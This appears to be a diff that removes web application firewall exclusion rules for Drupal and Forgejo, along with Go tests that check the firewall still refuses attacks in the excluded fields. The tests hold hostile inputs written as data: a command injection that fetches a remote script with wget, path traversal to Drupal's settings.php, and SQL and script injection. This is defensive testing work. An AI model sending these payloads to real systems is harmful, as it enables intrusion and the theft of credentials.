ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
# The passwords when signing up, changing the password and adding a user skip
# the same rules:
# pass[pass1], pass[pass2], current_pass: the forms at /user/register,
# /user/<id>/edit and /admin/people/create
# json.pass.value, json.pass.0.value, json.pass.0.existing: a client signing up
# or changing the password in Drupal's JSON format
# json.data.attributes.pass.value, .existing: a JSON:API client doing the same
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+(?:/edit)?|admin/people/create|jsonapi/user/user(?:/[^/]+)?)$" \
"id:900820,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/"
# A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address
# keeps 932250, which no recorded address set off.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+/edit|comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?)$" \
"id:900814,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|mail)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|mail)$/"
# Saving a tag, a custom block or a contact message sends its name,
# description, block description, body, subject or message, which skip the
# same four rules. A tag named python3 refused saving it.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:admin/structure/taxonomy/manage/[^/]+/add|taxonomy/term/[0-9]+/edit|block/add/[^/]+|admin/content/block/[0-9]+|contact(?:/[^/]+)?|user/[0-9]+/contact)$" \
"id:900815,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|description|info|body|subject|message)\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/"
# A client saving a node in Drupal's JSON format sends its title in the JSON
# field title.0.value: PATCH /node/2?_format=json with a title of python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \
"id:900816,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.title\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
# A client resetting a password in Drupal's JSON format sends the account in
# the JSON field name: POST /user/password?_format=json with a name of python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900817,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# The same reset may name the account by its address in the JSON field mail:
# POST /user/password?_format=json with a mail of python3@example.com. An
# address skips only the two rules the recorded addresses set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900818,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
-520
View File
@@ -1,520 +0,0 @@
package coreruleset_test
import (
"net/http"
"net/url"
"slices"
"testing"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"
// drupalRegister is Drupal's sign-up form.
const drupalRegister = "/user/register"
// drupalJSONRegister is Drupal's sign-up in its JSON format.
const drupalJSONRegister = "/user/register?_format=json"
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
const drupalJSONPasswordReset = "/user/password?_format=json"
// drupalTagForm is Drupal's form for a new tag.
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
// drupalEditAccount is Drupal's form for editing an account.
const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalAttacks = []string{
sqlInjection,
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
scriptInjection,
}
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, attack := range drupalAttacks {
for _, target := range []string{
"/?id=",
"/admin/content?id=",
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/content?destination=",
"/admin/foo?q=",
"/node/1/edit?destination=",
"/user/login?destination=",
"/search/node?keys=",
"/search?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/big_pipe/no-js?destination=",
"/node/2/revisions/3/revert?destination=",
"/node/2/revisions/3/delete?destination=",
"/block/add/basic?destination=",
"/fr/admin/content?title=",
"/fr/search/node?keys=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const reply = "/comment/reply/node/1/comment"
for _, attack := range drupalAttacks {
for _, sent := range []struct{ target, body string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{drupalRegister, drupalName + attack},
{drupalEditAccount, "mail=" + attack},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
`"name":"` + attack + `"`,
`"revision_log":"` + attack + `"`,
`"info":"` + attack + `"`,
`"description":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"` + attack + `","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestDrupalPasswordPasses(t *testing.T) {
t.Parallel()
for _, r := range []request{
{http.MethodPost, drupalSignIn, []string{formData}},
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
} {
t.Run(r.target, func(t *testing.T) {
t.Parallel()
wantRandomPasswordsPass(t, r, "pass")
wantPasswordAttacksPass(t, r, "pass")
wantPasswordAttacksRefused(t, r, "pass")
})
}
}
func TestDrupalPasswordFieldsPass(t *testing.T) {
t.Parallel()
const value = "pass.0.value"
pass := []string{"pass[pass1]", "pass[pass2]"}
wantPasswordFieldsPass(t, []passwordFields{
{drupalRegister, formData, pass},
{"/fr/user/register", formData, pass},
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
{"/admin/people/create", formData, pass},
{drupalJSONRegister, jsonBody, []string{value}},
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
{
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
},
})
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, attack := range []string{
injection,
scriptTag,
`; wget http://example.com/x.sh`,
`../../sites/default/settings.php`,
} {
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// An address keeps 932250, which refuses ls -la, and 930120, which
// refuses system file names.
for _, kept := range []struct {
value string
rule int
}{
{"ls -la", 932250},
{".htaccess@example.com", 930120},
} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
}
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range []string{
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/views/ajax/autocomplete/tag?q=",
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/fr/admin/content?title=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, sent := range []struct{ target, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
{drupalSignIn, drupalName},
{drupalRegister, drupalName},
{drupalEditAccount, "mail="},
{"/comment/reply/node/1/comment", drupalName},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
}
}
for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
`"name":"; wget http://example.com/x.sh"`,
`"revision_log":"; wget http://example.com/x.sh"`,
`"info":"; wget http://example.com/x.sh"`,
`"description":{"value":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range hardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
{"/comment/reply/node/1/field_comments", subject},
{"/comment/reply/media/1/comment", subject},
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
{drupalSignIn, "pass="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
}
for _, value := range hardValues {
word, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body := `{"name":"example","pass":"` + word + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestDrupalExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, passes := range []string{
"/admin/content?title=python3",
"/search/node?keys=python3",
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
"/fr/admin/content?title=python3",
"/pt-br/search/node?keys=python3",
"/user/password?name=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
}
}
for _, refused := range []string{
"/?title=python3",
"/admin/content?other=python3",
"/?keys=python3",
"/node/1?keys=python3",
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
"/notes/admin/content?title=python3",
"/fr/node/1?keys=python3",
"/?name=python3",
"/user/login?name=python3",
"/media/oembed?url=python3",
"/media/oembed?url=ls%20-la",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
}
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ path, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
{drupalSignIn, "name=python3"},
{drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// The JSON field name keeps the rules beside json.name in the query, and
// on a path other than the password reset.
for _, target := range []string{
drupalJSONPasswordReset + "&json.name=python3",
drupalJSONRegister,
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// So does the JSON field mail.
for _, target := range []string{
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
drupalJSONRegister,
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
-117
View File
@@ -1,117 +0,0 @@
# The fifteenth change: on Forgejo's paths, some fields skip the rules that
# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
# eighth change's fixes for gitea apply to its requests too, so this file holds
# only what Forgejo sends and gitea does not. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request the rule refused.
# Forgejo's search of a wiki sends the text searched for in q, which skips
# these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
"id:900680,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's search of a repository's code at a branch or a tag sends the text
# searched for in q. The search box on a repository's home page sends it there
# when Forgejo has no code indexer, as by default. A branch or tag name can
# hold a slash, as feat/docker-support does. q skips there the rules it skips
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
# Forgejo's searches there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so a path under /api/ gets none of this.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
"id:900681,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
